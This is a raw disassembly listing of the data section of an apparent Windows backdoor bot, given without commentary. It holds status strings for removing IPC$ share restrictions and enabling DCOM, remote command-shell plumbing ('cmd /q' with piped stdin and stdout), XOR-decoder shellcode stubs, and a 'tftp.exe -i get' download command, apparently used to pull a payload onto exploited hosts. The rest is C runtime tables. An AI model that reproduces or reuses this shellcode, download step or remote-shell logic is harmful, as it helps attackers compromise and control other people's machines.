		align 10h
unk_433760	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_433790	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_4337DC	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_433820	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43386C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_433898	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4338CC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_4338D0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_433914	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43396C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4339A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_4339F4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_433A44	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_433A90	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4

loc_433ADC:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_433AE0
; ---------------------------------------------------------------------------

loc_433ADE:				; CODE XREF: ___:loc_433AE0p
		jmp	short loc_433AE5
; ---------------------------------------------------------------------------

loc_433AE0:				; CODE XREF: ___:loc_433ADCj
		call	loc_433ADE

loc_433AE5:				; CODE XREF: ___:loc_433ADEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_433AEA	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_433AEF	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_433AF4:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_433AF8
; ---------------------------------------------------------------------------

loc_433AF6:				; CODE XREF: ___:loc_433AF8p
		jmp	short loc_433AFD
; ---------------------------------------------------------------------------

loc_433AF8:				; CODE XREF: ___:loc_433AF4j
		call	loc_433AF6

loc_433AFD:				; CODE XREF: ___:loc_433AF6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_433B01	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_433B05	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_433B0C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433B70	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_433B89	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_433B90
		retn
; ---------------------------------------------------------------------------
byte_433B90	db 0E8h			; CODE XREF: ___:00433B8Dj
dword_433B91	dd 1			; DATA XREF: sub_416ADE+45w
byte_433B95	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_433B9F	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_433C20	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_433C30	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_433C3C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_433C48	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_433C4C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_433C60	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_433C64	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_433C68	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_433C6C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_433C70	dd offset word_433C7A	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_433C74	dd offset word_433C7A	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_433C7A	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_433C70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_433E7C	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_433E80	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_433E90	dd offset off_433E90	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_433E94	dd offset off_433E90	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_433EA8
		dd offset dword_433EA8
dword_433EA0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_433EA8	dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF:	___:00433E98o
					; ___:00433E9Co
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: ___:off_4274DCo
		dd 319h	dup(0)
off_435EB0	dd offset off_433E90	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_435EB4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_435EB8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_435EBC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_435F90	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_435FA0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_435FB8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_435FC4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_435FD0	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_435FD4	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_435FD8	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_435FDC	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_435FE0	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_435FE4	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_435FF4	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_435FF8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_436000	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_436008	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_436010	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_436014	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_436020	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_436100	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_436104	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_436268	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43626C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4362E0	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_4362E4	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_4362E8	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_4362EC	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_4362F0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_4362F8	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_4362FC	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_436388	dd offset dword_4CDCC0	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_4CDCC0
		dd 101h
dword_436398	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_4363A8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4363C8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4363F8	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_436608	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_436610	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_436628	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_436640	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_436644	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_436648	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43664C	dd offset dword_545350	; DATA XREF: ___:off_4366CCo
		dd 0Fh dup(0)
off_43668C	dd offset dword_544450	; DATA XREF: ___:off_4366D0o
		dd 0Fh dup(0)
off_4366CC	dd offset off_43664C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_4366D0	dd offset off_43668C	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_4366D8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_4366DC	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_4366E0	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_4366E8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_4366EC	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_4366F0	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_4366F4	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_436724	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_436728	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_436760	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4368C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_436A1C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_436A34	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_436A54	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_436A74	dd offset off_424D00	; DATA XREF: ___:off_424E24o
					; ___:00424E68o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_436A98	dd offset off_424D00	; DATA XREF: ___:off_424E70o
					; ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_436AB8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_436ABA	dw 0			; DATA XREF: sub_40144A+1E3w
word_436ABC	dw 0			; DATA XREF: sub_40144A+1E9w
word_436ABE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_436AC0	db 0			; DATA XREF: sub_40144A+1F7w
byte_436AC1	db 0			; DATA XREF: sub_40144A+1FEw
word_436AC2	dw 0			; DATA XREF: sub_40144A+204w
dword_436AC4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_436AC8	dd 0			; DATA XREF: sub_40144A+258w
byte_436ACC	db 0			; DATA XREF: sub_40144A+26Aw
byte_436ACD	db 0			; DATA XREF: sub_40144A+27Dw
word_436ACE	dw 0			; DATA XREF: sub_40144A+295w
word_436AD0	dw 0			; DATA XREF: sub_40144A+2A4w
word_436AD2	dw 0			; DATA XREF: sub_40144A+29Cw
dword_436AD4	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_436ED8	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_436EDC	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_436EE0	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_436EEC	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_436EF4	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_436EF8	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_436F00	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_436F08	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_436F0C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_436F18	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_436F1C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 7FEh	dup(0)
dword_438F18	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_438F30	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_438F34	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_439038	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43913C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_439140	dd 0			; DATA XREF: sub_407252+52w
dword_439144	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_439148	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_4391C8	dd 0			; DATA XREF: sub_407252+8Fw
dword_4391CC	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_4391D0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_4391D8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_4391DC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_439464	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_439568	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_439570	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_439574	dd 0			; DATA XREF: sub_407252+2E7w
dword_439578	dd 0			; DATA XREF: sub_407252+2F4w
dword_43957C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_439584	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_439588	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43958C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_439690	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_439794	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_439798	dd 0			; DATA XREF: sub_407252+171w
dword_43979C	dd 0			; DATA XREF: sub_407252+1EEr
dword_4397A0	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_439820	dd 0			; DATA XREF: sub_407252+1AEw
dword_439824	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_439828	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_439830	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_439838	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_439A38	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43A238	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43AA38	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43AA3C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43AA40	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43AA44	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43AA48	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43AC48	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43AC50	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43AC54	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43AC58	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43AC5C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43AC60	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43AC64	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43AC68	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43AC6C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43AC70	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43AC74	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
